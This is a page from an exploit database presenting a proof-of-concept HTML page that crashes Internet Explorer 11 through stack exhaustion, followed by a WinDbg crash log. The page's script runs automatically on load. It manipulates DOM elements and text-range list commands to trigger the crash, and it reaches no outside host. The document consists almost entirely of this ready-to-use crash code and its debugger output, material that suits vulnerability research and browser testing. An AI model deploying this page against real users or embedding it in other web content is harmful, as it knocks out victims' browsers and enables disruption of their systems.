Microsoft Internet Explorer 11 - Stack Underflow Crash (PoC)



EKU-ID: 42559 CVE: OSVDB-127503 OSVDB-ID:
Author: Mjx Published: 2015-09-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


<!--
# Exploit title: Microsoft Internet Explorer 11 Stack Underflow Crash PoC
# Date: 09.11.2015
# Vulnerable version: 11 (32bit version)(newest at the time 11.0.9600.17843 and 11.0.10240.16431)
# Tested on: Windows 7 64bit  and Windows 10(10240) 64bit
# Author: Mjx
# http://http://jinxin.pen.io/
-->
<!doctype html>
<html>
	<head>
		<meta http-equiv='Cache-Control' content='no-cache'/>

		<title>crash IE 11</title>
		<style></style>
		<script type='text/javascript' ></script>
		<script>

			function crash()
			{
				 var id_0 = null;
				 id_0 = document.createElement( 'THEAD' );
				 document.body.appendChild( id_0 );
				 elemTree = [];
				 elemTree[0]= document.createElement('SELECT');
				 document.all[7].appendChild(elemTree[0]);
				 elemTree[1]= document.createElement('B');
				 document.all[8].appendChild(elemTree[1]);
				 elemTree[2]= document.createElement('SOURCE');
				 document.all[0].appendChild(elemTree[2]);
				 elemTree[3]= document.createElement('HR');
				 document.all[8].appendChild(elemTree[3]);
              	 elemTree[3].setAttribute('hidden', -4400000000);
				 elemTree[4]= document.createElement('SELECT');
				 document.all[9].appendChild(elemTree[4]);
				 elemTree[5]= document.createElement('RUBY');
				 document.all[2].appendChild(elemTree[5]);
				 elemTree[6]= document.createElement('OL');
				 document.all[4].appendChild(elemTree[6]);
				 elemTree[7]= document.createElement('AREA');
				 document.all[6].appendChild(elemTree[7]);
				 elemTree[8]= document.createElement('ARTICLE');
				 document.all[3].appendChild(elemTree[8]);
				 elemTree[9]= document.createElement('TEXTAREA');
				 document.all[1].appendChild(elemTree[9]);
			     txtRange = document.body.createTextRange();
				 txtRange.moveEnd('character', 14);
				 txtRange.select();
				 txtRange.execCommand('insertUnorderedList',true,null);
				 txtRange = document.body.createTextRange();
				 txtRange.moveEnd('sentence', 4);
				 txtRange.select();
				 txtRange.execCommand('insertOrderedList',true,null);

			}
		</script>
	</head>
	<body onload='crash();'>

	</body>
</html>

<!--
(1428.1230): Stack overflow - code c00000fd (!!! second chance !!!)
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> kb
ChildEBP RetAddr  Args to Child
09ab3004 5fd16800 09ab319c 09ab31a0 00001000 verifier!AVrfpDphAllocateVm+0x9
09ab3184 5fd16a8d 09ab319c 09ab31a0 00000004 verifier!DphCommitMemoryForPageHeap+0xf0
09ab31ac 5fd18e5d 000f1000 47de0068 00000000 verifier!AVrfpDphSetProtectionsBeforeUse+0x8d
09ab31dc 77cf0d96 000f0000 01000002 00000028 verifier!AVrfDebugPageHeapAllocate+0x1fd
0:008> r
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> !vprot esp-4
BaseAddress:       09ab2000
AllocationBase:    09ab0000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        001fe000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE


-->